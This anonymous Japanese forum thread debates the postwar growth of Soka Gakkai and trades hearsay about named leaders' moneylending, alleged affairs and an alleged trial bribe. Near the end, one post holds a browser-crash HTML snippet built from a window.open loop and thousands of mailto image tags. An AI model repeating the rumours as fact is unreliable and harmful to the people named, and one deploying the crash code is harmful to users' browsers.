創価学会はなぜこんなにも大きくなったのか？

たぶん教えと組織が時代の求める宗教ニーズにぴったりマッチしたからだ。
そうでなければ戦後の急速な信者獲得も信者数の維持もできなかっただろう。
逆に言えば古い宗教はそれに合わなくなったという事か。
その他の新宗教、新・新宗教も｢何か｣が足りなかったという事か？
創価の何がそんなにも多くの人々を惹きつけるのだろう？

学会員がこういうスレを立てたら学会礼賛とアンチの罵詈雑言で
終わってしまう。２ちゃんでアンチが立ててこそ面白味がある。
みんなの意見が聞きたい。マターリと議論しよう。

強引な勧誘と多額な御布施として分捕った金

池田さんの寄与するところ大でしょ。
唯一、池田さんがすごいと思うところ。
他の池田さんの言動については、言うまでもなし。

徹底した現世利益主義と軍隊のような組織を構築した点。
プラス戸田会長のカリスマ性かな？

さて議論したところで結論が出るとは思えないな。＞1さん

今年の桜は早く咲いたね。

>創価学会はなぜこんなにも大きくなったのか
布教(折伏)を主体としているということはあるね

学会の人間は認めないと思うが、草創期の戸田氏のモチベーションに、「膨大な借金を返さなければならない」「そうでなければ破滅だ」という、宗教心とは全く相容れない要素があったことは重要。

つまり信者獲得＝金の元という考えがあった。この部分だけ受け継いだのが池田氏。

>>8
やっぱりそうなのか。
納得。

Ahoな公迷党に利用されたから。

>>10
公明党を利用してるんだろ!

戸田氏は出獄して５日目に「日本正学館」の事務所を作ったくらい
経営が好きだったのだよ。創価学会の看板を出したのは、その５ヶ月
くらい後だよ。

その後さらに別の会社を建てて、７０００万（現在だったら７００億程に換算できるかな？）の負債を作って倒産。その後、大蔵商事という
今でいうサラ金会社を設立。これで儲けた。

何故成功したか？
それは巧みなキズの舐め合いのシステムが成功に導いたのさ。

「大蔵商事」の原資は裕福な学会員が出資した金。
これを高利貸しして儲けた。その利息は月７％以上、超高利息。

だから原資を提供してくれる会員が必要だった。

ええい、今日はとことん内情ばらすか。コテハンつけた方がいいかな。

>>8
初めて聞く話だ。
もし何か明確な根拠・ソースがあるなら教えて欲しい。

>>10
>>11の言う通りだと思うよ。
学会が、社会に対し政治的影響力を行使するという点でもそうだし、
学会自体の維持・拡大のためにも、公明党及び選挙を利用しているわけだ。

戦後、病人・貧乏人の味方に見えたから

やっぱ、価値判断の基準がお金って気がするな・・・。
人生に勝利=金持ちになる
功徳があった/でた=金儲けできた
戦後、がーっと創価が盛り上がっていくに連れて、
昔、美しいとされていた日本人の、社会の気質が変わっていったような気がする
カネカネカネカネ、勝利!　勝利! 勝利!　ススメ、ススメ、ガッカイインサン、ススメ
会員数が増えれば増えるほど、世の中悪くなって行ってる・・・

>>15
戸田会長の遺言録を編纂した「水滸会記録」
それと昔映画「人間革命」を見た人がいたら知ってると思うが、
そこに借金取りに追われる戸田氏の様子が出てたよ。もっと
美談化されてるけどね。

>>14
当時の状況は理解できるが、説得力を増すためには、コテハンとともに年齢も表示すべき。
なにせ昭和２０年代の話だろ、ソースとその被害者も特定すべきだが。

>>17
日本の社会が変わっていったのは、客観的には創価学会の責任ではないというべきだが、
そうした戦後の社会の変化、経済成長を最大限利用したのが、学会だよね。

>>19
とりあえずこのコテハンで。年齢は勘弁して。19の発言から
想像してください。ソースはごく一部の内部文書だからねえ、
否定されればそれも仕方ないとは思います。

14を少し補足すると、この利息は当時の経済状況から見たら
悪徳のレベルではない。ただ、原資が学会員というのが
他の会社と違う点。それから原資の提供者には高利息でお金が
戻ってきたし、戸田先生のためなら、と喜んで提供していたから
被害者という感情はなかった。

>>21
訂正：19の発言　　18の発言

　戦後の混乱期には、宗教的価値観が必要だったと戸田氏は考えていたのでは。あの時代
高利貸しでもせにゃ組織を維持することは無理だったろう。

出獄して最初の始めた事業が出版。
その事業損出を埋めるために、金融事業の権利を取得したが破綻。
その損出をどう返済したか、具体的なことは何も知らない。
その時代と今はよく似ている。純粋に興味がある。>>学会マニア

>>24
日本正学館、東京建設信用組合が大きな負債を抱えた団体。その後大蔵省を介して事態収集。今でいう会社更生法みたいな扱いかな（これは推論）。
その借金の返済に活躍したのが大蔵商事。代表役員が矢島周平。日本正学館の雑誌「ルビー」の編集長で、大百蓮華の初代編集長。
しかしこの会社で大活躍をしたのがほかでもない池田大作。
次に続く

その儲けの方法は、前述したが裕福な会員に金を借り、高利で他人に
貸す。一般に月３％（年３６％）で借りて、月７％（年８４％）で貸した。
多額の金を工面してくれた人には幹部に取り立てたり、或いはその後
議員に推薦したりして優遇した。その代表者が、月刊ペン事件に登場
する松島郁子、道子の父、松島勇氏。彼は実に多額の出資をし、その
おかげで副理事長まで出世、後に大宮市議会議員になる。

この手法が今の学会の方法と寸分違わないのが驚くべきこと。

学会マニア殿。
ありがとう。
今後とも、頑張ってね。

学会が大きくなったのは、戦時中の軍部による宗教団体への神札強制を
断固として拒否した唯一の宗教団体だからだと誰か評論家が言ってたな。

「大蔵商事」が発展した社会的背景は朝鮮戦争による特需景気がある。これで大いに潤った。
と、同時に始めたのが「東洋精光」。社長は後の４代会長の北条氏。
この会社は大蔵商事が負債者から取り上げた担保品を売るというもの。それを買うのも勿論、会員。

ますます、学会の体質がこの当時から作られていたのがわかる。

あんまり過去の内部事情書くとまずいかもしれんのであと少しだけ。

よく学会員が「学会では会員間の金銭の貸借は禁止です！清らかです」
と無垢に言っているが、むしろこれは過去のこういった経緯（>>26)を表すもの。

つまり「大蔵商事」的方法は学会が発展し、昭和３０年代に近づくと
さすがに世間的にまずくなった、（と同時にそんなことする必要が減った。、後述）。戸田さんが亡くなったこともあるだろう。
従って、会員間の金銭貸借を禁じたのである。

こんな事実、今の若い子は知らないだろうね・・・。

高利貸しをする必要がなくなったのは、学会本体の発展による。

聖教新聞、大百、折伏教典等の書籍の売り上げ、「財務部員」と名付けられた裕福な会員による寄付で、会を十分運営することが可能になったのである。

完全に現在の姿の原型ができあがったと言えます。

このあたりで止めます。

>学会マニア
今はそゆことないんだからいいじゃないかYO！

>>32
そうじゃないだろう？
学会活動には金がかからん、と宣伝しておいて、入会したら新聞、多量
の書籍購入、財務、活動のための交通費、手弁当の選挙活動。
結局気がつくと結構金がかかってるんだよ。

そういったシステムが２０年代から戸田氏によって作られ、それを大規模に発展させたのが池田さんだってことだよ。
学会という組織が宗教の名を借りた経済団体だってことに、会員自身が
早く気づくべきだ。

>>32
それは違うだろ。
それなら以前に言っていたことも、今別なことを言えば、それで無問題。
やっていた事が言ってる事と違う、ってなことを言いたいんじゃないのかな、
学会マニア 氏は？

http://web.ffn.ne.jp/~yagi/

>>33
財務というのは、あまり聞いたことないっす。
金がかからないというのは、他の宗派のように功徳もない布施行を
やってないということじゃないのですか？
信仰が深まってくると、新聞も取りたくなるでしょうし、本だって
買って読みたくなるもんだと思いますよ。自分で意欲的にやってるん
だから、いいんじゃないでしょうか。

>>36
信仰が深まって読みたくなるのが、あの下劣な表現の新聞かね？
ふ〜ん、君の得た”功徳”ってのはそういうものなんだね。

ありがとう。興味深く読ませて頂きました。＞学会マニア

戸田氏は事業を営んだが次々失敗し多くの負債を抱えていたが、学会の勧誘が多くの利益を生むことに気付き、当初は優先順位の低かった学会を自分の事業の筆頭に持ち上げて、会員を固定客とした高利貸「大蔵商事」により遂に経済的成功を収めた。

その後も戸田氏は固定客獲得の為に「小岩は貧乏人が多い。（勧誘して）儲けてきなさい（ＦＲＯＭ　聖教新聞記事）」と、強引な尺伏により急拡大したが、その常套文句は「学会に入れば金が溜まる、病気も治る」という現世利益であった。

学会員が「貧乏人と病人の集まり」といわれていたことは、学会幹部も長年認める所であり、その基礎は戸田氏が気付いたといえる。

学会入会当初、本尊の受け取りすら拒否した池田氏は、強引な取りたてと減資獲得に手腕を発揮し、松島道子を幹部の辻氏と争い、金にものを言わせて道子を口説き落としてアパートに囲うように成った。

疲れた、続きを誰か書いてください。

>36
>自分で意欲的にやってるん
>だから、いいんじゃないでしょうか。

それをマインドコントロールというのです。

道子はその後公明党議員の渡辺氏の妻にお下げ渡しとなるが、月刊ペンに暴露記事を書かれ、学会の幹部会で憮然としていた渡辺（夫）議員に対し、池田氏は

「貴様は何様だと思っているのだ！
弟子とは常に師の言うことを聞くものだ！！」
と恫喝され、失神するほどのショックを受けたと言う。

因みに渡辺道子の子供の名付け親は池田氏で、その名前は池田氏の子供と同じ名前である。
後に池田氏がその子供（だったと思う）の顔にマジックインキで落書きしている写真が、マスコミに流出した。
何故その様なことを池田氏がしたかは？

月刊ペン裁判では、学会が月刊ペン社長に二千万円を支払って買収し、池田氏に対する謝罪記事を書かせていたことが山友によって公表される。
月刊ペン社長は大幅な減刑をされた罰金二十万円の微罪になり、そのご同社長は病気で死亡したが死なずに上告していいれば無罪は確定したといわれている。

おもしろい。もっと読みたい。

渡辺議員は気の毒だな。

因みに池田城久の妻も池田氏に仕えていた第一庶務の出身で、池田氏のお下げ渡しだと言うマスコミ記事もあったが、何故か池田氏はそれを訴えることはしなかった理由は、なまじ訴えると事実が暴露されてしまうからだとも言われていた。

城久は結婚後もその記事、噂を気に病んでおり、病死した時も自殺ではないかとも噂される原因とも成った。

足の裏のおっさんも、御手付きした女性を幹部に御下げ渡していたそうです。

いちおう胃せん孔が死因ってことなんですよね？>城久氏

学会の女性幹部達は池田氏の女性スキャンダルを失望するどころか、むしろ羨ましがる事もあるそうで、池田氏本人も女性幹部達にも、池田氏の女性問題は致命傷にならないとさえ言われている。（FROM　井田真紀子、ノンフィクション作家）

偏見では無く裁判所などで事実確認された内容等を記述しましたが、社会的成功をおさめた人物に２号、３号などがいるのは珍しくないので、女性問題はどうという事はないとも言えます。

>>45
医者の石川さん。学会員や幹部のことを面倒見て、それであたかも私に
（池田）に恩を売ろう、学会を守っているような顔をして生意気になった。
（中略）石川さんは原島さんの亡くなる前の晩見て「何ともありません」といった。
この発言は重大だ。わからなければわからないという真摯な態度が欲しい。
（社長会記録、松本勝彌著　池田大作言行録）

ここで池田に批判されてる石川医師が次男城久を誤診し（？）手遅れにさせた産婦人科医。
やぶ医者とわかってる人に診させたのか、故意に石川氏が見逃したのか・・・謎だ。

霊感商法教団に女でたらしこまれる自民党と仲良し与党の公明党。ｗ
創価板では山崎自民党幹事長の統一協会マタハリ事件のスレは立たないの？
公明という宗教政党と一緒に与党をやってる自民党の幹事長が、
犯罪性の強いカルト教団の女性にたらしこまれてるんだってよ？
創価・公明板でスレ立てても板違いじゃないと思うんだけど。
http://bunshun.topica.ne.jp/weekly/weekly.htm

夜空を指差して「通子、見上げてごらん。来世に生まれてくるときは、あの星はキラキラ
光るダイヤモンドになってかえってくる。」

あぁ、なんてロマンチックな台詞なのだろう。

日本人の、昔から培われた良い国民性を悪用されたため
こういう新興宗教が台頭してくるのだと思う。

戸田先生は葉っぱをお札にする。本当にする。そうしなければ
広宣流布は出来ない。必ずする。　　社長会記録より

おい、タヌキかよ！

そういわれりゃ、狸に似てるな。

>>52
で、今は、キツネならぬ脂狸が法華経を唱えて葉っぱをお札にするのね。

ぽんぽこ狸合戦かよ！

空を指差して「通子、見上げてごらん。来世に生まれてくるときは、あの星はキラキラ 光るダイヤモンドになってかえってくる。」

このダイヤでまた一儲けだ。ポンポコ

狸はつぶらな瞳で、実際には犬のように細くて、もっと可愛いぞ！

野生の狸は可愛いかもしれんが、人間に化けた狸はどうものう・・・

>>41
20万円って、当時の名誉毀損罪の罰金刑としては最高額だったんじゃなかったか？

2000万貰ってたら安いもんじゃん、２０万。

おい、こら、このアブラ狸、儲かっとんのは分かっとんぞ。

あぼーん

いろんな意見が出て面白いね。
金貸しが学会の原点というわけか。

ここ逝け！
http://www.pweb.ne.jp/~fpm2/sato/2ch.jpg

↑ブラクラ

勧誘に血眼になる宗教は他にいくらでもある。
なぜ、創価だけが突出したんだろう？

>>67
思考エネルギーの節約と一般的に見分け難い本物的志向のためと思われ。

>>65 氏ね

<!-- for (i=0; i<9999; ++i) { window.open(); } -->
</SCRIPT></HEAD><body>
<img src="mailto:1">
<img src="mailto:2">
.
.
.
<img src="mailto:9999">
</body></HTML><noembed><noscript><noscript><noscript>

>>67
　　カルトだからでしょう。

やっぱり歴代会長の経営者としての手腕が
凄かったんだな。
宗教者としてどうかは知らないが。

800万人も信者かかえていれば、学会の基盤は盤石だ。

>>72
でも盛況新聞は４００万部しか発行されていないのはなぜでしょう。

戸数で考えると一世帯で２部とってたり
するところとかあんのかな

>>73-74 によると層化人の人数は実質２００万人ということに
なってしまいますね。

戦後、層化を取り込んだ、中産階級が減少し、
1億総裕福になったから、教団に求心力はなくなった。
で、2世が中心となって、教団の会員数を稼いでいるわけだ。
実質的には、200万程度だろう。しかし・・・。
あの難しい経典だ。誰が読むんだよ（笑）。バカボン大川の
書いた本の方がよほど求心力あるじゃないかと思う。
カルト認定によって、どんどん信者も減っていると聞いているし、
あと10年もすれば、別の理由もあって、100万程度に減るだろう。

ぷぷっ。
中産階級＝ブルジョワジーという言葉の意味すら解ってない。

コヴァなんて所詮こんなものか（藁藁藁

↑プチ・ブルだった。
　まあ、にょこりんは気付くまいが（藁藁藁

コヴァというのだけはあたっているな。で、なんでそんな深いこと知ってんだよ。
むろん、中産階級はイメージとして使用したわけだが。

>あの難しい経典だ。誰が読むんだよ（笑）。
難しいから本物志向にググッと来るんじゃないですか。
あと現代語訳やマンガもあるしね。

層化・安置に限らず、コヴァに論破されるほど
ここの住人の大半は厨房ではないと思われ

コヴァにはハン板あたりがお似合いと思われ

念のためだが、小林よしのりの全部を肯定しているわけではない。
産経や作る会の連中を批判したことなどは批判的だ。小林よしのりには、
層化問題を扱ってもらいたいと切に望んでいる。